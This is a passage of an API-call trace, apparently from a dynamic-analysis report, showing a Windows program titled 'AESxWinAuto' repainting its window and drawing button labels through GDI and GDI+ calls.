GetCurrentObject (hdc=0x12010944, type=0x7) returned 0x3c05094d [0065.435] GetCurrentObject (hdc=0x12010944, type=0x6) returned 0x18a002e [0065.435] SaveDC (hdc=0x12010944) returned 2 [0065.435] GetNearestColor (hdc=0x12010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.435] CreateSolidBrush (color=0xf0f0f0) returned 0x1b100940 [0065.435] FillRect (hDC=0x12010944, lprc=0x3ae3f4, hbr=0x1b100940) returned 1 [0065.435] DeleteObject (ho=0x1b100940) returned 1 [0065.435] RestoreDC (hdc=0x12010944, nSavedDC=-1) returned 1 [0065.435] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.435] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.435] GetSystemMetrics (nIndex=42) returned 0 [0065.435] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4ac, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.435] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4ac) returned 0xb [0065.436] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae4f4 | out: lpRect=0x3ae4f4) returned 1 [0065.436] GetCurrentObject (hdc=0x12010944, type=0x1) returned 0x1b00017 [0065.436] GetCurrentObject (hdc=0x12010944, type=0x2) returned 0x1900010 [0065.436] GetCurrentObject (hdc=0x12010944, type=0x7) returned 0x3c05094d [0065.436] GetCurrentObject (hdc=0x12010944, type=0x6) returned 0x18a002e [0065.436] SaveDC (hdc=0x12010944) returned 2 [0065.436] GetNearestColor (hdc=0x12010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.436] CreateSolidBrush (color=0xf0f0f0) returned 0x1c100940 [0065.436] FillRect (hDC=0x12010944, lprc=0x3ae394, hbr=0x1c100940) returned 1 [0065.436] DeleteObject (ho=0x1c100940) returned 1 [0065.436] RestoreDC (hdc=0x12010944, nSavedDC=-1) returned 1 [0065.436] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.436] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.436] GetSystemMetrics (nIndex=42) returned 0 [0065.436] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4ac, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.436] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4ac) returned 0xb [0065.436] RestoreDC (hdc=0x12010944, nSavedDC=-1) returned 1 [0065.436] GdipReleaseDC (graphics=0x4ba1580, hdc=0x12010944) returned 0x0 [0065.436] IsAppThemed () returned 0x1 [0065.436] GetThemeAppProperties () returned 0x3 [0065.436] GetThemeAppProperties () returned 0x3 [0065.436] IsAppThemed () returned 0x1 [0065.436] GetThemeAppProperties () returned 0x3 [0065.436] GetThemeAppProperties () returned 0x3 [0065.436] IsThemePartDefined () returned 0x1 [0065.436] GdipCreateRegion (region=0x3ae8ac) returned 0x0 [0065.436] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.436] GdipCreateMatrix (matrix=0x3ae8ac) returned 0x0 [0065.436] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0065.436] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3ae8c4) returned 0x0 [0065.436] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.436] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.436] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.436] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.436] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.436] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.437] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.437] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8f0) returned 0x0 [0065.437] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8e0) returned 0x0 [0065.437] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae8e0) returned 0x0 [0065.437] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.437] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae8f8) returned 0x0 [0065.437] GetCurrentObject (hdc=0x12010944, type=0x1) returned 0x1b00017 [0065.437] GetCurrentObject (hdc=0x12010944, type=0x2) returned 0x1900010 [0065.437] GetCurrentObject (hdc=0x12010944, type=0x7) returned 0x3c05094d [0065.437] GetCurrentObject (hdc=0x12010944, type=0x6) returned 0x18a002e [0065.437] SaveDC (hdc=0x12010944) returned 1 [0065.437] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x19040945 [0065.437] GetClipRgn (hdc=0x12010944, hrgn=0x19040945) returned 0 [0065.437] SelectClipRgn (hdc=0x12010944, hrgn=0xab040957) returned 2 [0065.437] DeleteObject (ho=0x19040945) returned 1 [0065.437] DeleteObject (ho=0xab040957) returned 1 [0065.437] OffsetViewportOrgEx (in: hdc=0x12010944, x=0, y=0, lppt=0x2606834 | out: lppt=0x2606834) returned 1 [0065.437] IsAppThemed () returned 0x1 [0065.437] GetThemeAppProperties () returned 0x3 [0065.437] GetThemeAppProperties () returned 0x3 [0065.437] DrawThemeBackground () returned 0x0 [0065.437] RestoreDC (hdc=0x12010944, nSavedDC=-1) returned 1 [0065.437] GdipReleaseDC (graphics=0x4ba1580, hdc=0x12010944) returned 0x0 [0065.437] GdipCreateRegion (region=0x3ae894) returned 0x0 [0065.437] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.437] GdipCreateMatrix (matrix=0x3ae894) returned 0x0 [0065.437] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0065.437] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3ae8ac) returned 0x0 [0065.437] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.437] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.437] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.437] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.437] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.437] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.437] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.437] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8d8) returned 0x0 [0065.437] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8c8) returned 0x0 [0065.438] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae8c8) returned 0x0 [0065.438] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.438] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae8e0) returned 0x0 [0065.438] GetCurrentObject (hdc=0x12010944, type=0x1) returned 0x1b00017 [0065.438] GetCurrentObject (hdc=0x12010944, type=0x2) returned 0x1900010 [0065.438] GetCurrentObject (hdc=0x12010944, type=0x7) returned 0x3c05094d [0065.438] GetCurrentObject (hdc=0x12010944, type=0x6) returned 0x18a002e [0065.438] SaveDC (hdc=0x12010944) returned 1 [0065.438] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xac040957 [0065.438] GetClipRgn (hdc=0x12010944, hrgn=0xac040957) returned 0 [0065.438] SelectClipRgn (hdc=0x12010944, hrgn=0x1a040945) returned 2 [0065.438] DeleteObject (ho=0xac040957) returned 1 [0065.438] DeleteObject (ho=0x1a040945) returned 1 [0065.438] OffsetViewportOrgEx (in: hdc=0x12010944, x=0, y=0, lppt=0x2606b10 | out: lppt=0x2606b10) returned 1 [0065.438] IsAppThemed () returned 0x1 [0065.438] GetThemeAppProperties () returned 0x3 [0065.438] GetThemeAppProperties () returned 0x3 [0065.438] GetThemeBackgroundContentRect () returned 0x0 [0065.438] RestoreDC (hdc=0x12010944, nSavedDC=-1) returned 1 [0065.438] GdipReleaseDC (graphics=0x4ba1580, hdc=0x12010944) returned 0x0 [0065.438] IsAppThemed () returned 0x1 [0065.438] GetThemeAppProperties () returned 0x3 [0065.438] GetThemeAppProperties () returned 0x3 [0065.438] GdipGetTextRenderingHint (graphics=0x4ba1580, mode=0x3ae9f0) returned 0x0 [0065.438] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae9dc) returned 0x0 [0065.438] GetCurrentObject (hdc=0x12010944, type=0x1) returned 0x1b00017 [0065.438] GetCurrentObject (hdc=0x12010944, type=0x2) returned 0x1900010 [0065.438] GetCurrentObject (hdc=0x12010944, type=0x7) returned 0x3c05094d [0065.438] GetCurrentObject (hdc=0x12010944, type=0x6) returned 0x18a002e [0065.438] SaveDC (hdc=0x12010944) returned 1 [0065.438] GetTextAlign (hdc=0x12010944) returned 0x0 [0065.438] GetTextColor (hdc=0x12010944) returned 0x0 [0065.438] GetCurrentObject (hdc=0x12010944, type=0x6) returned 0x18a002e [0065.438] GetObjectW (in: h=0x18a002e, c=92, pv=0x3ae73c | out: pv=0x3ae73c) returned 92 [0065.438] SelectObject (hdc=0x12010944, h=0x70a0932) returned 0x18a002e [0065.438] GetBkMode (hdc=0x12010944) returned 2 [0065.439] SetBkMode (hdc=0x12010944, mode=1) returned 2 [0065.439] DrawTextExW (in: hdc=0x12010944, lpchText="button9", cchText=7, lprc=0x3ae820, format=0x102415, lpdtp=0x2606ea8 | out: lpchText="button9", lprc=0x3ae820) returned 13 [0065.439] DrawTextExW (in: hdc=0x12010944, lpchText="button9", cchText=7, lprc=0x3ae970, format=0x102015, lpdtp=0x2606ea8 | out: lpchText="button9", lprc=0x3ae970) returned 13 [0065.439] RestoreDC (hdc=0x12010944, nSavedDC=-1) returned 1 [0065.439] GdipReleaseDC (graphics=0x4ba1580, hdc=0x12010944) returned 0x0 [0065.439] GetFocus () returned 0x1025e [0065.439] IsAppThemed () returned 0x1 [0065.439] GetThemeAppProperties () returned 0x3 [0065.439] GetThemeAppProperties () returned 0x3 [0065.439] GdipGetDC (graphics=0x4ba1580, hdc=0x3aebc8) returned 0x0 [0065.439] BitBlt (hdc=0x180107ac, x=0, y=0, cx=56, cy=19, hdcSrc=0x12010944, x1=0, y1=0, rop=0xcc0020) returned 1 [0065.439] GdipReleaseDC (graphics=0x4ba1580, hdc=0x12010944) returned 0x0 [0065.439] SelectPalette (hdc=0x180107ac, hPal=0x188000b, bForceBkgd=0) returned 0x10080948 [0065.439] SelectObject (hdc=0x12010944, h=0x185000f) returned 0x3c05094d [0065.439] DeleteDC (hdc=0x12010944) returned 1 [0065.439] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0065.439] EndPaint (hWnd=0x10246, lpPaint=0x3aeb6c) returned 1 [0065.439] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.439] IsWindowUnicode (hWnd=0x10248) returned 1 [0065.439] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.439] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.439] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.439] BeginPaint (in: hWnd=0x10248, lpPaint=0x3aeb70 | out: lpPaint=0x3aeb70) returned 0x701093a [0065.439] SelectPalette (hdc=0x701093a, hPal=0x10080948, bForceBkgd=1) returned 0x188000b [0065.439] CreateCompatibleDC (hdc=0x701093a) returned 0x14010944 [0065.439] SelectObject (hdc=0x14010944, h=0x3c05094d) returned 0x185000f [0065.440] GdipCreateFromHDC (hdc=0x14010944, graphics=0x3aeb68) returned 0x0 [0065.440] GdipTranslateWorldTransform (graphics=0x4ba1580, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0065.440] GdipSetClipRectI (graphics=0x4ba1580, x=0, y=0, width=56, height=19, combineMode=0x0) returned 0x0 [0065.440] GdipCreateMatrix (matrix=0x3aebd0) returned 0x0 [0065.440] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0065.440] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3aebe8) returned 0x0 [0065.440] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.440] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.440] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.440] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.440] GdipCreateRegion (region=0x3aebd0) returned 0x0 [0065.440] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.440] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aebdc) returned 0x0 [0065.440] GdipSaveGraphics (graphics=0x4ba1580, state=0x3aec08) returned 0x0 [0065.440] GdipRestoreGraphics (graphics=0x4ba1580, state=0xfda90dbd) returned 0x0 [0065.440] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.440] GdipGetDC (graphics=0x4ba1580, hdc=0x3aea2c) returned 0x0 [0065.440] GetCurrentObject (hdc=0x14010944, type=0x1) returned 0x1b00017 [0065.440] GetCurrentObject (hdc=0x14010944, type=0x2) returned 0x1900010 [0065.440] GetCurrentObject (hdc=0x14010944, type=0x7) returned 0x3c05094d [0065.440] GetCurrentObject (hdc=0x14010944, type=0x6) returned 0x18a002e [0065.440] SaveDC (hdc=0x14010944) returned 1 [0065.440] GetNearestColor (hdc=0x14010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.440] GetNearestColor (hdc=0x14010944, color=0xa0a0a0) returned 0xa0a0a0 [0065.440] GetNearestColor (hdc=0x14010944, color=0x696969) returned 0x696969 [0065.440] GetNearestColor (hdc=0x14010944, color=0xa0a0a0) returned 0xa0a0a0 [0065.440] GetNearestColor (hdc=0x14010944, color=0x0) returned 0x0 [0065.440] GetNearestColor (hdc=0x14010944, color=0xffffff) returned 0xffffff [0065.440] GetNearestColor (hdc=0x14010944, color=0xe5e5e5) returned 0xe5e5e5 [0065.440] GetNearestColor (hdc=0x14010944, color=0xd7d7d7) returned 0xd7d7d7 [0065.440] GetNearestColor (hdc=0x14010944, color=0x0) returned 0x0 [0065.440] RestoreDC (hdc=0x14010944, nSavedDC=-1) returned 1 [0065.441] GdipReleaseDC (graphics=0x4ba1580, hdc=0x14010944) returned 0x0 [0065.441] IsAppThemed () returned 0x1 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x3aea44, fWinIni=0x0 | out: pvParam=0x3aea44) returned 1 [0065.441] SendMessageW (hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0065.441] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0065.441] IsAppThemed () returned 0x1 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0065.441] GetObjectW (in: h=0x70a0932, c=92, pv=0x3ae78c | out: pv=0x3ae78c) returned 92 [0065.441] DrawTextExW (in: hdc=0x15010934, lpchText="button10", cchText=8, lprc=0x3ae8c8, format=0x102415, lpdtp=0x26076c0 | out: lpchText="button10", lprc=0x3ae8c8) returned 26 [0065.441] IsAppThemed () returned 0x1 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] IsAppThemed () returned 0x1 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] GetFocus () returned 0x1025e [0065.441] IsAppThemed () returned 0x1 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] IsAppThemed () returned 0x1 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] IsThemePartDefined () returned 0x1 [0065.441] IsAppThemed () returned 0x1 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0065.441] IsAppThemed () returned 0x1 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] IsAppThemed () returned 0x1 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] GetThemeAppProperties () returned 0x3 [0065.441] IsThemePartDefined () returned 0x1 [0065.441] GdipCreateRegion (region=0x3ae8e8) returned 0x0 [0065.441] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.441] GdipCreateMatrix (matrix=0x3ae8e8) returned 0x0 [0065.441] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0065.441] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3ae900) returned 0x0 [0065.442] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.442] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.442] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.442] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.442] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.442] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.442] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.442] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae92c) returned 0x0 [0065.442] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae91c) returned 0x0 [0065.442] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae91c) returned 0x0 [0065.442] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.442] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae934) returned 0x0 [0065.442] GetCurrentObject (hdc=0x14010944, type=0x1) returned 0x1b00017 [0065.442] GetCurrentObject (hdc=0x14010944, type=0x2) returned 0x1900010 [0065.442] GetCurrentObject (hdc=0x14010944, type=0x7) returned 0x3c05094d [0065.442] GetCurrentObject (hdc=0x14010944, type=0x6) returned 0x18a002e [0065.442] SaveDC (hdc=0x14010944) returned 1 [0065.442] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1b040945 [0065.442] GetClipRgn (hdc=0x14010944, hrgn=0x1b040945) returned 0 [0065.442] SelectClipRgn (hdc=0x14010944, hrgn=0xb0040957) returned 2 [0065.442] DeleteObject (ho=0x1b040945) returned 1 [0065.442] DeleteObject (ho=0xb0040957) returned 1 [0065.442] OffsetViewportOrgEx (in: hdc=0x14010944, x=0, y=0, lppt=0x2607dfc | out: lppt=0x2607dfc) returned 1 [0065.442] DrawThemeParentBackground () returned 0x0 [0065.442] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3ae6a8 | out: lpwndpl=0x3ae6a8) returned 1 [0065.442] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae64c | out: lpRect=0x3ae64c) returned 1 [0065.442] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.442] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.442] GetSystemMetrics (nIndex=42) returned 0 [0065.442] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae50c, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.442] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae50c) returned 0xb [0065.442] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae554 | out: lpRect=0x3ae554) returned 1 [0065.442] GetCurrentObject (hdc=0x14010944, type=0x1) returned 0x1b00017 [0065.442] GetCurrentObject (hdc=0x14010944, type=0x2) returned 0x1900010 [0065.442] GetCurrentObject (hdc=0x14010944, type=0x7) returned 0x3c05094d [0065.442] GetCurrentObject (hdc=0x14010944, type=0x6) returned 0x18a002e [0065.443] SaveDC (hdc=0x14010944) returned 2 [0065.443] GetNearestColor (hdc=0x14010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.443] CreateSolidBrush (color=0xf0f0f0) returned 0x1d100940 [0065.443] FillRect (hDC=0x14010944, lprc=0x3ae3f4, hbr=0x1d100940) returned 1 [0065.443] DeleteObject (ho=0x1d100940) returned 1 [0065.443] RestoreDC (hdc=0x14010944, nSavedDC=-1) returned 1 [0065.443] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.443] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.443] GetSystemMetrics (nIndex=42) returned 0 [0065.443] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4ac, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.443] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4ac) returned 0xb [0065.443] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae4f4 | out: lpRect=0x3ae4f4) returned 1 [0065.443] GetCurrentObject (hdc=0x14010944, type=0x1) returned 0x1b00017 [0065.443] GetCurrentObject (hdc=0x14010944, type=0x2) returned 0x1900010 [0065.443] GetCurrentObject (hdc=0x14010944, type=0x7) returned 0x3c05094d [0065.443] GetCurrentObject (hdc=0x14010944, type=0x6) returned 0x18a002e [0065.443] SaveDC (hdc=0x14010944) returned 2 [0065.443] GetNearestColor (hdc=0x14010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.443] CreateSolidBrush (color=0xf0f0f0) returned 0x1e100940 [0065.443] FillRect (hDC=0x14010944, lprc=0x3ae394, hbr=0x1e100940) returned 1 [0065.443] DeleteObject (ho=0x1e100940) returned 1 [0065.443] RestoreDC (hdc=0x14010944, nSavedDC=-1) returned 1 [0065.443] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.443] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.443] GetSystemMetrics (nIndex=42) returned 0 [0065.443] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4ac, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.443] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4ac) returned 0xb [0065.443] RestoreDC (hdc=0x14010944, nSavedDC=-1) returned 1 [0065.444] GdipReleaseDC (graphics=0x4ba1580, hdc=0x14010944) returned 0x0 [0065.444] IsAppThemed () returned 0x1 [0065.444] GetThemeAppProperties () returned 0x3 [0065.444] GetThemeAppProperties () returned 0x3 [0065.444] IsAppThemed () returned 0x1 [0065.444] GetThemeAppProperties () returned 0x3 [0065.444] GetThemeAppProperties () returned 0x3 [0065.444] IsThemePartDefined () returned 0x1 [0065.444] GdipCreateRegion (region=0x3ae8ac) returned 0x0 [0065.444] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.444] GdipCreateMatrix (matrix=0x3ae8ac) returned 0x0 [0065.444] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0065.444] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3ae8c4) returned 0x0 [0065.444] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.444] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.444] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.444] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.444] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.444] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.444] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.444] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8f0) returned 0x0 [0065.444] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8e0) returned 0x0 [0065.444] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae8e0) returned 0x0 [0065.444] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.444] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae8f8) returned 0x0 [0065.444] GetCurrentObject (hdc=0x14010944, type=0x1) returned 0x1b00017 [0065.444] GetCurrentObject (hdc=0x14010944, type=0x2) returned 0x1900010 [0065.444] GetCurrentObject (hdc=0x14010944, type=0x7) returned 0x3c05094d [0065.444] GetCurrentObject (hdc=0x14010944, type=0x6) returned 0x18a002e [0065.444] SaveDC (hdc=0x14010944) returned 1 [0065.444] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xb1040957 [0065.444] GetClipRgn (hdc=0x14010944, hrgn=0xb1040957) returned 0 [0065.444] SelectClipRgn (hdc=0x14010944, hrgn=0x1d040945) returned 2 [0065.444] DeleteObject (ho=0xb1040957) returned 1 [0065.444] DeleteObject (ho=0x1d040945) returned 1 [0065.444] OffsetViewportOrgEx (in: hdc=0x14010944, x=0, y=0, lppt=0x2608694 | out: lppt=0x2608694) returned 1 [0065.444] IsAppThemed () returned 0x1 [0065.444] GetThemeAppProperties () returned 0x3 [0065.444] GetThemeAppProperties () returned 0x3 [0065.444] DrawThemeBackground () returned 0x0 [0065.445] RestoreDC (hdc=0x14010944, nSavedDC=-1) returned 1 [0065.445] GdipReleaseDC (graphics=0x4ba1580, hdc=0x14010944) returned 0x0 [0065.445] GdipCreateRegion (region=0x3ae894) returned 0x0 [0065.445] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.445] GdipCreateMatrix (matrix=0x3ae894) returned 0x0 [0065.445] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0065.445] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3ae8ac) returned 0x0 [0065.445] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.445] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.445] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.445] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.445] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.445] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8d8) returned 0x0 [0065.445] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8c8) returned 0x0 [0065.445] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae8c8) returned 0x0 [0065.445] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.445] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae8e0) returned 0x0 [0065.445] GetCurrentObject (hdc=0x14010944, type=0x1) returned 0x1b00017 [0065.445] GetCurrentObject (hdc=0x14010944, type=0x2) returned 0x1900010 [0065.445] GetCurrentObject (hdc=0x14010944, type=0x7) returned 0x3c05094d [0065.445] GetCurrentObject (hdc=0x14010944, type=0x6) returned 0x18a002e [0065.445] SaveDC (hdc=0x14010944) returned 1 [0065.445] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1e040945 [0065.445] GetClipRgn (hdc=0x14010944, hrgn=0x1e040945) returned 0 [0065.445] SelectClipRgn (hdc=0x14010944, hrgn=0xb2040957) returned 2 [0065.445] DeleteObject (ho=0x1e040945) returned 1 [0065.446] DeleteObject (ho=0xb2040957) returned 1 [0065.446] OffsetViewportOrgEx (in: hdc=0x14010944, x=0, y=0, lppt=0x2608970 | out: lppt=0x2608970) returned 1 [0065.446] IsAppThemed () returned 0x1 [0065.446] GetThemeAppProperties () returned 0x3 [0065.446] GetThemeAppProperties () returned 0x3 [0065.446] GetThemeBackgroundContentRect () returned 0x0 [0065.446] RestoreDC (hdc=0x14010944, nSavedDC=-1) returned 1 [0065.446] GdipReleaseDC (graphics=0x4ba1580, hdc=0x14010944) returned 0x0 [0065.446] IsAppThemed () returned 0x1 [0065.446] GetThemeAppProperties () returned 0x3 [0065.446] GetThemeAppProperties () returned 0x3 [0065.446] GdipGetTextRenderingHint (graphics=0x4ba1580, mode=0x3ae9f0) returned 0x0 [0065.446] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae9dc) returned 0x0 [0065.446] GetCurrentObject (hdc=0x14010944, 